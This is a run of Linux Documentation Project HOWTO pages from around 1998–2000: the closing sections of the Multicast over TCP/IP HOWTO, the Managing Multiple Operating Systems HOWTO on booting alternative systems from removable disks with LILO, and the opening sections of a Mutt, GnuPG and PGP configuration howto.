Giving descriptions of those multicast protocols is out of the scope of this section. Instead, I'll give you the names of some of them and point you to some sources of information: Real-Time Transport Protocol (RTP) is concerned with multi-partite multimedia conferences, Scalable Reliable Multicast (SRM) is used by the wb (the distributed White-Board tool, see section Multicast applications), Uniform Reliable Group Communication Protocol (URGC) enforces reliable and ordered transactions based in a centralized control, Muse was developed as an application specific protocol: to multicast news articles over the MBone, the Multicast File Transfer Protocol (MFTP) is quite descriptive by itself and people "join" to file transmission (previously announced) much in the same way they would join a conference, Log-Based Receiver-reliable Multicast (LBRM) is a curious protocol that keeps track of all packets sent in a logging server that tells the sender whether it has to retransmit the data or can drop it safely as all receivers got it. One protocol with a funny name -especially for a multicast protocol- is STORM (STructure-Oriented Resilient Multicast). Lots and lots of multicast protocols can be found searching the Web, along with some interesting papers proposing new activities for multicast (for instance, www page distribution using multicast).

A good page providing comparisons between reliable multicast protocols is

http://www.tascnets.com/mist/doc/mcpCompare.html.

A very good and up-to-date site, with lots of interesting links (Internet drafts, RFCs, papers, links to other sites) is:

http://research.ivv.nasa.gov/RMP/links.html.

http://hill.lut.ac.uk/DS-Archive/MTP.html is also a good source of information on the subject.

Katia Obraczka's "Multicast Transport Protocols: A Survey and Taxonomy" article gives short descriptions for each protocol and tries to classify them according to different features. You can read it in the IEEE Communications magazine, January 1998, vol. 36, No. 1.


Multicast over TCP/IP HOWTO: References.

 Next Previous Contents

10. References.

10.1 RFCs.

  • RFC 1112 "Host Extensions for IP Multicasting". Steve Deering. August 1989.
  • RFC 2236 "Internet Group Management Protocol, version 2". W. Fenner. November 1997.
  • RFC 1458 "Requirements for Multicast Protocols". Braudes, R and Zabele, S. May 1993.
  • RFC 1469 "IP Multicast over Token-Ring Local Area Networks". T. Pusateri. June 1993.
  • RFC 1390 "Transmission of IP and ARP over FDDI Networks". D. Katz. January 1993.
  • RFC 1583 "OSPF Version 2". John Moy. March 1994.
  • RFC 1584 "Multicast Extensions to OSPF". John Moy. March 1994.
  • RFC 1585 "MOSPF: Analysis and Experience". John Moy. March 1994.
  • RFC 1812 "Requirements for IP version 4 Routers". Fred Baker, Editor. June 1995
  • RFC 2117 "Protocol Independent Multicast-Sparse Mode (PIM-SM): Protocol Specification". D. Estrin, D. Farinacci, A. Helmy, D. Thaler; S. Deering, M. Handley, V. Jacobson, C. Liu, P. Sharma, and L. Wei. July 1997.
  • RFC 2189 "Core Based Trees (CBT version 2) Multicast Routing". A. Ballardie. September 1997.
  • RFC 2201 "Core Based Trees (CBT) Multicast Routing Architecture". A. Ballardie. September 1997.

10.2 Internet Drafts.

  • "Introduction to IP Multicast Routing". draft-ietf-mboned-intro- multicast- 03.txt. T. Maufer, C. Semeria. July 1997.
  • "Administratively Scoped IP Multicast". draft-ietf-mboned-admin-ip- space-03.txt. D. Meyer. June 10, 1997.

10.3 Web pages.

  • Linux Multicast Homepage. http://www.cs.virginia.edu/~mke2e/multicast.html
  • Linux Multicast FAQ. http://andrew.triumf.ca/pub/linux/multicast-FAQ
  • Multicast and MBONE on Linux. http://www.teksouth.com/linux/multicast/
  • Christian Daudt's MBONE-Linux Page. http://www.microplex.com/~csd/linux/mbone.html
  • Reliable Multicast Links http://research.ivv.nasa.gov/RMP/links.html
  • Multicast Transport Protocols http://hill.lut.ac.uk/DS-Archive/MTP.html

10.4 Books.

  • "TCP/IP Illustrated: Volume 1 The Protocols". Stevens, W. Richard. Addison Wesley Publishing Company, Reading MA, 1994
  • "TCP/IP Illustrated: Volume 2, The Implementation". Wright, Gary and W. Richard Stevens. Addison Wesley Publishing Company, Reading MA, 1995
  • "UNIX Network Programming Volume 1. Networking APIs: Sockets and XTI". Stevens, W. Richard. Second Edition, Prentice Hall, Inc. 1998.
  • "Internetworking with TCP/IP Volume 1 Principles, Protocols, and Architecture". Comer, Douglas E. Second Edition, Prentice Hall, Inc. Englewood Cliffs, New Jersey, 1991


Multicast over TCP/IP HOWTO: Copyright and Disclaimer.

 Next Previous Contents

11. Copyright and Disclaimer.

Copyright 1998 Juan-Mariano de Goyeneche.

This HOWTO is free documentation; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This document is distributed in the hope that it will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose. See the GNU General Public License for more details.

You can obtain a copy of the GNU General Public License by writing to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

If you publish this document on a CD-ROM or in hardcopy form, a complimentary copy would be appreciated; mail me for my postal address. Also consider making a donation to the Linux Documentation Project or the Free Software Foundation to help support free documentation for GNU/Linux. Contact the Linux HOWTO coordinator, Tim Bynum linux-howto@sunsite.unc.edu, for more information.


Multicast over TCP/IP HOWTO: Acknowledgements.

 Next Previous Contents

12. Acknowledgements.

This is the best opportunity I've ever had to thank so many people I feel grateful to. So, I'm afraid this is going to be a large section... It is, in any case, the most important one of this paper (for me, at least...).

First, I want to thank Elena Apolinario Fernández de Sousa (yes, Elena is the first name; the REST is THE surname ;-) ). I tried to reflect in this Howto all the knowledge I collected while working with her in connecting our Department to the MBone and debugging problems with locally generated CSCW software across multicast tunnels. She was of invaluable help in finding and correcting network problems, discovering and fixing kernel bugs that puzzled us for days, ... and keeping the sense of humor alive while problems appeared and appeared, but solutions didn't. She also read and corrected the drafts for this document and provided important ideas and suggestions. If this howto is here and is usefull for somebody, it will be, in many aspects, thanks to her. Thanks, Elena!

There is something I have been lucky enough to find all my (still-not-too-long) live, but, despite being repetitive, has never stopped amazing me. I'm talking about people that altruistically employ part of their time and/or resources to help other people learn new things; and, what is better, they enjoy doing it. This is not only (but also, too) explain things they already know, but lend their books, provide access to their sources and facilitate you the way to learn all things they know; sometimes, even more... I know quite a few of that people, and I'd like to thank them for all their help.

Pablo Basterrechea was my "first source of documentation" while I was in my pre-Internet stage. I learned assembly and advanced structured programming entirely from his books (well, the latter also from his programs...). Thanks for all, Pablo.

In my first course at the University that "primary source of documentation" moved to Pepe Mañas. He was teaching then Computer Programming there, and soon I became addict to his bookshelf. He lent me his books lots of times without asking for a minimum sign that could assure that I was going to return them back to him, not even my name! My first approach to TCP/IP was also by his hand: he lent me Comer's "Internetworking with TCP/IP, Volume 1" for the whole summer. He did not even know my name by then, but he lent me the book... That book influenced me a lot, and TCP/IP has become one of my primary fields of interest since that summer.

If there are two persons I must thank most, these are (in alphabetic order ;-) ), José Manuel and Paco Moya. Nobody I asked more things more times (C, C++, Linux, security, Web, OSs, signals & systems, electronics, ... anything!) and, despite my persistence, I always got throughly and friendly responses and help. If I'm using GNU/Linux now, this is, again, thanks to them. I feel particularly lucky with friends like them. THANKS.

Iñigo Mascaraque also helped (from him I got my first System Administration book) and encouraged me in my beginnings, but never stopped reminding me that, although this was a fascinating world and an important part of my career, I should not forget the other, less-interesting, parts. (I don't forget, I$!).

As I am on the topic, I'd like to thank my parents, too. They always tried to make the best opportunities available for me. Many thanks for all.

I also feel grateful to Joaquín Seoane, the first who trusted me enough to give me a root password in the time I was learning system administration by myself, and Santiago Pavón, the one who gave me my first opportunity here at DIT.

W. Richard Stevens' books have been a real revelation for me (it's a pity they are so expensive...). If he ever reads this paper, I'd like to thank him for them, and encourage him to keep on writing. Anything that comes out of his hands will -undoubtedly- be good for all of us.

Finally I'd like to thank Richard Stallman, Linus Torvalds, Alan Cox and all contributors to the Linux kernel and the free software in general, for giving us such a great OS.

I'm sure I'm forgetting someone here... Sorry. I'm certain they know I'm grateful to them too, so if they tell me, everybody will know it... :-)


Managing Multiple Operating Systems HOWTO

Robert W. Schultz

v0.4, 17 Feb 2000

This HOWTO covers the procedures for using removable hard disks to install and manage multiple alternative operating systems while leaving a single fixed disk to permanently house and protect the primary operating system. It is very scalable and offers a good degree of protection to and a stable disk environment for the primary operating system.

1. Introduction

  • 1.1 Copyright
  • 1.2 New Versions of this HOWTO
  • 1.3 Feedback

2. Purpose and goals:

3. Background:

4. System requirements:

5. How it works (a scenario):

6. The installation:

  • 6.1 Installing the primary operating system
  • 6.2 Installing alternative operating systems
  • 6.3 Final BIOS and LILO configuration:

7. Cost and gotcha's:

  • 7.1 Cost:
  • 7.2 Gotcha's


Managing Multiple Operating Systems HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Copyright

Copyright (c) 2000 by Robert W. Schultz.

Please freely copy and distribute (sell or give away) this document in any format. It's requested that corrections and/or comments be forwarded to the document maintainer. You may create a derivative work and distribute it provided that you:

1.Send your derivative work (in the most suitable format such as sgml) to the LDP (Linux Documentation Project) or the like for posting on the Internet. If not the LDP, then let the LDP know where it is available.

2.License the derivative work with this same license or use GPL. Include a copyright notice and at least a pointer to the license used.

3.Give due credit to previous authors and major contributors.

If you're considering making a derived work other than a translation, it's requested that you discuss your plans with the current maintainer.

1.2 New Versions of this HOWTO

New versions of the Managing Multiple Operating Systems HOWTO will be available to browse and/or download at LDP mirror sites. For a list of mirror sites see:

http://metalab.unc.edu/LDP/mirrors.html.

Various formats are available. If you only want to quickly check the date of the latest version look at

http://www.linuxdoc.org/HOWTO/MultiOS-HOWTO.html

and compare it to this version: v0.4, 17 February 2000

1.3 Feedback

Please send any questions, comments, or suggestions to mailto:rwschul@smart.net (Robert W. Schultz). I am very willing to help others with problems directly relating to this HOWTO and will entertain any suggestions for changes/modifications and/or improvements. However, having set up my system to my satisfaction, this HOWTO won't be significantly improved without reader input.


Managing Multiple Operating Systems HOWTO: Purpose and goals:

 Next Previous Contents

2. Purpose and goals:

The purpose of this HOWTO is to describe a methodology for managing multiple operating systems on a single computer system. It is intended for Linux users who have a basic familiarity with both Linux and LILO installations. Nothing here is terribly complex however, considering the amount of time it takes to install some operating systems it can be relatively time consuming.

It is different from other methods in that it doesn't require multiple operating systems on the boot disk. Instead it uses a fixed internal disk containing a single primary operating system and a selection of removable disks with one or more operating systems installed on each of them. If you absolutely have to have two, three, or four different operating systems on a single disk and are trying to get them to behave with each other, this HOWTO is not for you.

Its specific goals are:

* - A primary/operational disk that once configured and installed is rarely changed. This includes not having to repartition or otherwise modify the disk it resides on.

* - Easy selection of multiple alternative operating systems at boot time without having to go through more than one or two menu selections.

* - No need to modify the BIOS, LILO, or any other configuration to access an O/S once it is installed.

* - Easy addition/removal of operating systems depending on requirements at the moment.

* - Inexpensive and scalable to allow for an increasing number of operating systems and versions as time goes on.

I think I succeeded admirably in the first three of these requirements. You can form your own opinions on the last two.


Managing Multiple Operating Systems HOWTO: Background:

 Next Previous Contents

3. Background:

Even though Linux is becoming much more user friendly and widely accepted, most of us still need access to other operating systems. I use Linux about 75% of the time but I still need access to Win 9x for those few applications that I haven't found acceptable alternatives for in Linux. My wife uses MS Office at work and wants to have access to it at home. Other people want to have access to alternative O/S just for fun, training, or to keep current in their job.

I tend to treat new O/S's as you would a game; I actually don't do anything productive with them but installing and learning how to control them is just as challenging and interesting to me as Quake or SimCity. Further, being a Computer Scientist, it keeps me current on evolving technology and has helped me solve a multitude of problems at work. At any rate, for new Linux users, computer professionals, and those just trying to migrate from one operating system to another, I believe using multiple operating systems is the norm rather than the exception.


Managing Multiple Operating Systems HOWTO: System requirements:

 Next Previous Contents

4. System requirements:

BIOS - Any bios that allows automatic identification of disk drive geometry and allows you to select the sequence of devices to boot from should work. I successfully built systems based on both PhoenixBIOS 4.0 and AMI Plug and Play Flash BIOS.

DISKS - One fixed internal disk dedicated to Linux. (first disk) One Removable drive enclosure, with any number of drives. (second disk)

Since a lot of this HOWTO has to do with disks, from now on I will generally use the terms "first disk" and "second disk". The first disk is the one initially accessed when the machine is turned on, commonly known as the boot disk. It has LILO installed in the MBR and is dedicated to a single operating system, specifically Linux. The second disk is a removable disk that contains one or more alternative operating systems which may or may not have a boot loader in the MBR or elsewhere.

There are no other hardware/firmware requirements. Any other requirements would be dictated by the specific O/S. For instance, even though you could install it, Solaris 7 is not going to run well on an old 90MHz machine! The configuration and methodology described here should however work equally well regardless of the CPU speed or other installed peripherals.

Operating Systems - I have tested this process with Linux (Redhat and Suse), Solaris 7, BeOS, Win 98 and even MSDOS 6.22. I see no reason why it wouldn't work with Win 95, O/S 2, or FreeBSD. I am not familiar with Windows NT or 2000 so I don't know how they would react to this kind of setup.

Boot loader - I used LILO on the first disk and BeOS bootman on the second disks. I used LILO on the first disk because it was the only boot loader that allowed me to select the MBR on the second disk as an acceptable boot partition. Any relatively robust boot loader should work on the second disk.


Managing Multiple Operating Systems HOWTO: How it works (a scenario):

 Next Previous Contents

5. How it works (a scenario):

Prior to ignition, I insert a disk, preloaded with an operating system in the removable drive. When I turn on the machine, I am presented at the LILO prompt (by pressing <tab>) with "Linux" and "Disk2" as options. Linux is the default and would automatically boot if I did nothing. When selected, Disk2 either boots directly into the single O/S stored on the second disk or presents me with a second boot menu if there is more than one O/S on that disk. If I power down, replace the second disk with another and power back up, I still get the initial Linux/Disk 2 menu and, if I select Disk2, a new menu appropriate to the newly inserted disk. Once installed, I never have to modify the LILO configuration on the first disk, I never have to change BIOS setting to boot from the second disk and I never have to go through more than two menu selections to get my selected O/S up and running.


Managing Multiple Operating Systems HOWTO: The installation:

 Next Previous Contents

6. The installation:

There are three distinct parts to the installation, first building the primary O/S on its own dedicated drive. Second, building a second disk with whatever alternative O/S you selected. Finally, reconfiguring the BIOS and LILO to support both disks.

6.1 Installing the primary operating system

Installation of the primary/operational O/S is fairly straight forward. Treat the system as if it were a single drive system dedicated to Linux. Refer to the documentation that came with your distribution or see http://www.linuxdoc.org/HOWTO/Installation-HOWTO.html for details on installing Linux.

Because this is ultimately a multiple disk installation, there a few steps that need to be taken to trick the install routines into thinking that it is, during the installation process, a single disk system.

First, Remove the removable Hard Drive and make sure the remaining drive is identified in the BIOS as the secondary boot device (after the floppy). The operating system install program should only see one disk, the one you are going to install to. That way, there is no question as to where it will be installed. Also, it will install everything appropriate to a single disk system.

When asked, tell the install program to use the entire disk for your operating system. I accepted the default RedHat partitioning and installed the generic LILO on the MBR.

Once the installation is complete, shutdown and reboot to confirm that your system works properly. At this point you should have a fully functional machine that boots directly into Linux.

6.2 Installing alternative operating systems

Now that you have a fully functional system, you can move on to building a second disk with your alternative operating systems.

Select an operating system or two for installation on the second disk. I decided on, for no good reason, Windows 98 and BeOS for my initial test case. I partitioned an 8GB drive into two 4GB primary partitions and installed Windows 98 in the first partition and BeOS in the second.

Do the same things with this install that you did with the first. Disable the first disk in the BIOS so that this installer will not even see it. This is very important. If you can physically remove or disconnect the first disk, do it! This will protect your primary system from any errors on your part or overly greedy operating systems that want to take over all the disks they see during the second installation. If at some time in the future you decide to create another removable disk make sure and repeat this step.

Once this is done install your chosen operating systems as if you were installing them on a single drive system.

If you are only installing one operating system on the second disk, just plug in the installation disk and let it do its thing. Windows 95 or 98 or just about any other operating system, including a second Linux should install just fine this way. Allow Windows 9x to write to the MBR. If installing Linux, select MBR as the location to install LILO.

I decided to install two operating systems on the second disk so that I could confirm the functionality of cascading boot loaders.

I first installed Windows 98 because it automatically overwrites the MBR and would have overwritten any boot loader code I eventually placed there. Next, I installed BeOS in the second partition and ran bootman, the BeOS boot loader. With it I built a boot menu for the second disk and intentionally overwrote the Windows 98 MBR.

Bootman was not essential, I could have used any MBR based boot loader but it was available and it works quite will.

Reboot frequently to make sure that everything works properly as a single disk system. I rebooted after each O/S installation to make sure it worked properly and also to make sure that the boot loader menu worked properly.

6.3 Final BIOS and LILO configuration:

Next, reconfigure the BIOS so that it again recognizes the first disk (physically reconnect it if you disconnected it earlier) as the boot disk and so that it also recognizes the second disk. How to do this is very system specific and dependent on your BIOS and whether you have a SCSI/IDE or IDE/IDE setup. I haven't tried a SCSI/SCSI setup because SCSI disks and removable frames are significantly more expensive than IDE disks and frames. I wanted performance for my primary O/S but could accept cheap on the other ones.

Make sure and set the second disk type to "Auto" or "Automatic". This will force the BIOS to dynamically determine the disk type at boot time. I have been able to successfully use an ancient 512MB disk, a 4GB, an 8GB, and even a 100MB IDE Zip disk as the second disk. All recognized automatically by the BIOS.

Reboot the system and get back to Linux. At this point, even though there are at least two operating systems installed, this LILO only knows about the original Linux and should boot to it automatically. Watch the boot process and you should see a message about automatically identifying a disk. Once booted, check dmesg to make sure Linux recognized the second disk.

Once this is done, you need to reconfigure LILO on the first disk to make it aware of the second disk. Here are two different lilo.conf files, one for a SCSI/IDE and another for an IDE/IDE system. Each has some strengths and weaknesses...

# lilo.conf file for an internal SCSI disk and a removable disk
# configured as a master on the primary IDE connection

disk = /dev/sda         #  These four lines are necessary
   bios = 0x80          #  to get the SCSI disk re-mapped as
disk = /dev/hda         #  the primary drive even though it
   bios = 0x81          #  is selected in the BIOS as the
                        #  boot device.  This might be a BIOS
                        #  specific problem.

# Without them you get the following errors from LILO:
#
#  LILO version 21, Copyright 1992-1998 Werner Almesberger
#
# ading boot sector from /dev/sda
# Warning: /dev/sda is not on the first disk
# And LILO either hangs at LI or repeats endless "01 "'s across the screen

boot=/dev/sda
map=/boot/map
install=/boot/boot.b
prompt
timeout=50
image=/boot/vmlinuz-2.2.12-20smp
   label=Linux
   root=/dev/sda1
   initrd=/boot/initrd-2.2.12-20smp.img
   read-only
other = /dev/hda
# other = /dev/hda is the key element.  Instead of redirecting lilo to
# a specific partition, it redirects it to the MBR on the second disk.
# that way, LILO doesn't have to know anything about the second disk and
# we can replace it with another because LILO always goes to the same place
# regardless of which specific disk is installed.  LILO was the only boot
# loader I found that would do this.
   label = Disk2
   map-drive = 0x80
      to = 0x81
   map-drive = 0x81
      to = 0x80
# The map-drive lines are necessary to make the second disk think it is
# actually the boot disk.

# lilo.conf file for a system with two IDE drives.  Both are masters,
# /dev/hda on the primary connector and /dev/hdc on the secondary.
# /dev/hdb is a CDROM slave on the primary IDE connector.
# disk = /dev/hda       # These lines are not necessary for the
#    bios = 0x80        # IDE/IDE installation because the BIOS
# disk = /dev/hdc       # already knows what order they are in
#    bios = 0x81
boot=/dev/hda
map=/boot/map
install=/boot/boot.b
prompt
timeout=50
image=/boot/vmlinuz-2.2.5-15
        label=linux
        root=/dev/hda4
        read-only
other = /dev/hdc
# other = /dev/hdc is again the key.  This just redirects LILO to the
# MBR of the second disk.  Whatever is there gets control.
   label = Disk2
   map-drive = 0x80
      to = 0x81
   map-drive = 0x81
      to = 0x80

The /dev, boot, map and image entries are system specific and yours will probably be different that mine. The entries in your initial /etc/lilo.conf file should give you an accurate guide for your system. I copied the "Linux" entry from the original install generated lilo.conf file directly into the new lilo.conf. This should allow you to boot into "Linux" and modify your lilo.conf even if the "Disk2" entry fails totally.

Finally, run lilo -vvv to make sure it agrees with everything you are trying to do.


Managing Multiple Operating Systems HOWTO: Cost and gotcha's:

 Next Previous Contents

7. Cost and gotcha's:

7.1 Cost:

I found a Frame and 1 drawer removable drive mount for $20.00. It is the "SNT MOBILE RACK". Disks didn't cost me anything because I had several old or small IDE drives around from upgrades etc. Even if you have to buy them, 2GB IDE drives are cheap.

7.2 Gotcha's

1. Once you decide whether your removable drive is going to be a master or slave, make sure and jumper it properly before securing it in its case. If you forget this step it can take quit a while to trace booting problems back to an improper jumper setting.

2. Make sure that O/S installation routines can ONLY see the drive they are installing to. RedHat refused to let me install LILO to the SCSI MBR if it could see the IDE drive. So, to install to an internal SCSI drive, I had to physically remove the IDE. To install to the IDE, I had to disable SCSI support in the BIOS.

3. If an O/S installation routine tells you it is going to repartition ALL your drives and overwrite EVERYTHING believe it.

4. It is very easy to install an IDE cable backwards.

5. I only tested an IDE master/master set up. I am not sure how a master/slave would work.

6. Installing the removable disk frame does require opening up the computer case. If you are uncomfortable with this get a friend to help.

7. If you set the removable disk to a specific disk type in the BIOS it will work fine until you replace it with another disk of a different type. Then you will get errors or warnings and the system might not boot.

8. Plan everything in advance.

9. With a quick change to the BIOS, the second disk becomes your boot disk. This means that you can have a fully functional O/S available as your emergency/recovery disk.


Mutt-i, GnuPG and PGP Howto

Andrés Seco AndresSH@ctv.es and J.Horacio M.G. homega@ciberia.es

v1.2, February 2000

This document briefly explains how to configure Mutt-i, PGP and GnuPG in its diferents versions (2.6.x, 5.x and GnuPG), noting the common problems that can occur while sending signed or encrypted mail to be read by mail clients not PGP/MIME compliants as defined in RFC2015 and in other operating systems. It also includes an example of procmail configuration to send the public keys automatically to received e-mails asking for it, as a key servers does.

1. Introduction

2. Copyright and discharge of responsability

3. Sending mail to and receiving mail from the internet

4. Mutt configuration

5. PGP and GnuPG

  • 5.1 PGP2
  • 5.2 PGP5
  • 5.3 GnuPG

6. PGP and Mutt integration

  • 6.1 Optional configuration files
  • 6.2 General Configuration Variables
  • 6.3 PGP2 configuration variables
  • 6.4 PGP5 configuration variables
  • 6.5 GnuPG configuration variables
  • 6.6 Mixed configuration variables

7. Interesting Macros for Mutt

  • 7.1 Signing on the message body without using PGP/MIME with PGP5
  • 7.2 Signing on the message body without using PGP/MIME with GnuPG
  • 7.3 Modifying the alias file and reloading it
  • 7.4 More macro examples

8. Procmail notes and tips

  • 8.1 Configuring Procmail to send automatically your public keys
  • 8.2 Verify and decrypt automatically messages without PGP/MIME
  • 8.3 Change MIME type for messages with keys inside without PGP/MIME

9. Interchanging signed/encrypted messages with different MUAs and platforms

10. Programs and versions used

11. More information


Mutt-i, GnuPG and PGP Howto: Introduction

 Next Previous Contents

1. Introduction

This document explains how to configure Mutt-i, PGP and GnuPG in its diferents versions (2.6.x, 5.x and GnuPG) to quickly start using a mail reader with encryption and digital signing capabilities.

For this purpose, example configuration files will be included to help you starting with it. To obtain maximum performance and to use all the features of the programs that we will be using, it will be necesary to read its documentation and to reconfigure the example files.

Also, some problems derived from not using RFC2015 about PGP/MIME by many mail user agents in Linux and other operating systems will be comented.

An aditional procmail configuration example will be showed to enable our mail client to send a public key on request.

This document has been translated from the Spanish original by Andrés Seco AndresSH@ctv.es, and revised and corrected by Jordi Mallach Pérez jordi-sd@softhome.net and J.Horacio M.G. homega@ciberia.es. It was finished in October 1999. We would like to thanks Roland Rosenfeld roland@spinnaker.de, Christophe Pernod xtof.pernod@wanadoo.fr, Denis Alan Hainsworth denis@cs.brandeis.edu and Angel Carrasco acarrasco@jet.es for their corrections and suggestions.


Mutt-i, GnuPG and PGP Howto: Copyright and discharge of responsability

 Next Previous Contents

2. Copyright and discharge of responsability

This document is copyright © 1999 Andres Seco and J.Horacio M.G., and it's free. You can distribute it under the terms of the GNU General Public License, which you can get at http://www.gnu.org/copyleft/gpl.html. You can get unofficial translated issues somewhere in the internet, as well as the Spanish translated copy at http://visar.csustan.edu/~carlos/gpl-es.html or Lucas http://www.lucas.org.

Information and other contents in this document are the best of our knowledge. However, we may have make errors. So you should determine if you want to follow the instructions given in this document.

Nobody is responsible for any damage in your computers and any other loss derived from the use of the information contained herein.

THE AUTHORS AND MAINTAINERS ARE NOT RESPONSIBLE FOR ANY DAMAGE INCURRED DUE TO ACTIONS TAKEN BASED ON INFORMATION CONTAINED IN THIS DOCUMENT.

Of course, we are open to all type of suggestions and corrections on the content of this document.


Mutt-i, GnuPG and PGP Howto: Sending mail to and receiving mail from the internet

 Next Previous Contents

3. Sending mail to and receiving mail from the internet

This document does not deal with exchanging mail messages between local machine and other nodes (inside a local area network or over the internet). This exchange should be carried out by messages transfer agents (MTAs) such as sendmail http://www.sendmail.org, qmail http://www.qmail.org, exim http://www.exim.org, smail ftp://ftp.planix.com/pub/Smail, etc.

In this document it is presupposed that this method of send/receive messages outside of the local computer is already installed and working in a correct way. If you can send a message and read your mail with the mail command from the command line in your computer,

$ mail -s <subject> <user@domain.net>
write here the text, and finish with an alone point in the next line
.

you must have installed any type of MTA that is doing the messages transfer. In other way, you can get documentation about setting it up in the manual pages of smail:

$ man smail

or the MTA that you have, and fetchmail:

$ man fetchmail

or in other similar document that makes reference to those programs.


Mutt-i, GnuPG and PGP Howto: Mutt configuration

 Next Previous Contents

4. Mutt configuration

Next file is a valid example to start using Mutt in a basic way, including paths for alias file, sent messages and postponed messages. You can further personalize it attending to the Mutt manual indications and /usr/doc/mutt/ or /usr/doc/mutt-i/.

Simple example of ~/.muttrc:

set folder=~/Mail
set alias_file=.alias
set postponed=.postponed
set record=SendMessages
set signature=.signature
my_hdr From: Name Surname <Name@domain.com>
source =.alias

It is necesary that the directory ~/Mail exists, that is the one that appears as an "equal to" sign in the configuration file .muttrc (that is, =.alias is to Mutt as ~/Mail/.alias, and =.postponed is to Mutt ~/Mail/.postponed). Nevertheless it is possible to have these files in another directory provided we indicate the complete path in ~/.muttrc, and we have the necesary permissions to work in this directory.

It is also necesary to personalize the my_hdr line with the name and electronic mail address you need. In the ~/Mail/.signature file you caninclude the signature that will appear in all the messages that are sent.

This configuration file can end up being made very big, so it is common to separate some of its commands in different files. For the time being, the PGP or GnuPG configuration lines are easily detachable, and the keyboard macros that we will personalize. To do that, it will be necesary to add the following lines to the ~/.muttrc file:

source = ~/Mail/.mutt.macros
source = ~/Mail/.gnupgp.mutt

and to use the ~/Mail/.mutt.macros and ~/Mail/.gnupgp.mutt files to put in them the keyboard macros and the PGP or GnuPG configuration that are commented forward.

To get a more extensive and complete information over the use and configuration of Mutt, and about advanced features, see the Mutt manual http://www.mutt.org.


Mutt-i, GnuPG and PGP Howto: PGP and GnuPG

 Next Previous Contents

5. PGP and GnuPG

To use anyone of the versions of PGP with Mutt-i, first it will be necesary to configure PGP properly in the way that the public keys file (public keys ring) and the private keys file (private keys ring) will exist. It is convenient to previously test PGP from the command line to assure that it signs and encrypt correctly.

Remember that the PGP versions that exist for Unix are 2.6.3(i) and 5.0(i), that we call PGP2 and PGP5 respectively forward. GnuPG is a new encrypt system, being developed in these days, in an advanced state of development, open source and free, in many aspects better than PGP (see GnuPG mini howto http://www.dewinter.com/gnupg_howto).

We will also clarify that PGP, as being a program developed in the US, is restricted by certain exporting laws about programs that include cryptographic code; this is the reason for the existance of an international version to almost all binary versions, and it is noted with the "i" letter (pgp - pgpi).

5.1 PGP2

PGP2 generates keys with the RSA http://www.rsa.com,algorithm and it uses IDEA http://www.ascom.ch as the encryption algorithm. Both are propietary algorithms and its use is restricted by its respectives patents.

To run it correctly, you must have it installed, as well as having a directory called ~/.pgp, containing the configuration file pgp-i.conf and the private and public keys rings files, pubring.pgp and secring.pgp respectively.

5.2 PGP5

The keys generated by PGP5 are DSS/DH (Digital Signature Standard / Diffie-Helman). PGP5 uses CAST, Triple-DES, and IDEA as encrypt algorithms. PGP5 can work with encrypted or signed data with RSA (PGP2), and use that keys to sign or encrypt (with the keys generated with PGP2, because PGP5 can not generate that type of keys). In the other hand, PGP2 can not use the DSS/DH keys from PGP5; this creates incompatibility problems, because many users continue using PGP2 with Unix/Linux.

To run PGP5 correctly, in the ~/.pgp directory you will have the public and private key rings (pubring.pkr and secring.skr respectively), and the configuration file pgp.cfg.

In the case that you have installed the both versions of PGP (PGP2 installed and configured before PGP5), we will create the configuration file ~/.pgp/pgp.cfg of PGP5 as a simbolic link to the ~/.pgp/pgp-i.conf configuration file,

~/.pgp$ ln -s pgp-i.conf pgp.cfg

adding the following lines at the end of the file ~/.pgp/pgp-i.conf:

PubRing = "~/.pgp/pubring.pkr"
SecRing = "~/.pgp/secring.skr"
RandSeed = "~/.pgp/randseed.bin"

The files with the keys rings of the different versions can cohexist without any problem in the same directory.

5.3 GnuPG

GnuPG is a program with the same functions that the previous. The difference with PGP, GnuPG do not uses algorithms with restrictive patents. PGP is free for personal uses but not comercial jobs and its development is closed. GnuPG is free to be used in any job and it is open source, as our favorite operating system (also its implementation and development is made mainly in Linux).

The keys generated by GnuPG are of the type DSA/ElGamal (Digital Signature Algorithm, also known as DSS). Is totaly compatible with PGP, except with the use of restricted patents algorithms RSA and IDEA. Anyway, it is posible to implement certain compatibility with that (see GnuPG mini howto http://www.dewinter.com/gnupg_howto to get it interacting with PGP2 and PGP5).


Mutt-i, GnuPG and PGP Howto: PGP and Mutt integration

 Next Previous Contents

6. PGP and Mutt integration

The operation to carry out in the outgoing messages (sign, encrypt or both) is chosen exactly before presing "y" to send the message, inside the option menu that is visible with the "p" option. Once you have choosen the operation to carry out, only the line PGP in the message header showed in the screen will change, but until you send the message with "y" you won't be asked to insert the pass phrase to activate the sign of the message or the public keys to use to encrypt in the case that no receptors were found in our public keys ring.

NOTE: In the case that the pass phrase was mistyped when it was asked for, Mutt seems to be "hung", but that's not true, it is waiting for it to be retyped. To do this, push the <Enter> key and delete the pass phrase from memory with <Ctrl>F. Next we repeat the message sending with ("y") and retype the pass phrase.

Through this procedure, Mutt will use PGP/MIME to send the message, and one more file will appear in the list of files to be sent with the sign (if we only select to sign) or it will encrypt the complete message (all its MIME parts) and it will only leave two MIME parts, the first with the PGP/MIME version and the second with the encrypted message (with all its MIME parts inside) and signed (if we selected to do it).

Note: By some reasons, if the receptor mail user agent can not use MIME, we may need that the sign will be included inside the message body. See section about application/pgp with PGP5 and with GnuPG.

Mutt will try to verify the sign or decrypt automatically the incoming messages that use PGP/MIME. See section Procmail notes and tips, in which it is commented how to change the MIME type automatically to the incoming messages that do not set its MIME type correctly.

6.1 Optional configuration files

In the next sections you can find modifications to the Mutt configuration file to use PGP2, PGP5, and GnuPG easily.

To do that, a new configuration file that we called .gnupgp.mutt (that's our name, you can call it any other name setting the name of this file into the main configuration file ~/.muttrc).

This can be done including the complete path (its location) of the configuration file .gnupgp.mutt, in a line at the end of the ~/.muttrc file. The directory in which we put this and other optional configuration files can be anywhere, if we have correct permissions (in a previous section we included it inside the ~/Mail/) directory, or any other inside our home directory, with any name:

~$ mkdir mutt.varios

in which we copy (or create) the optional configuration file .gnupgp.mutt, and next we set the origin of this file in the .muttrc file with the source command, like the following:

source ~/mutt.varios/.gnupgp.mutt

Now Mutt will accept configuration variables in .gnupgp.mutt as if it were in .muttrc directly.

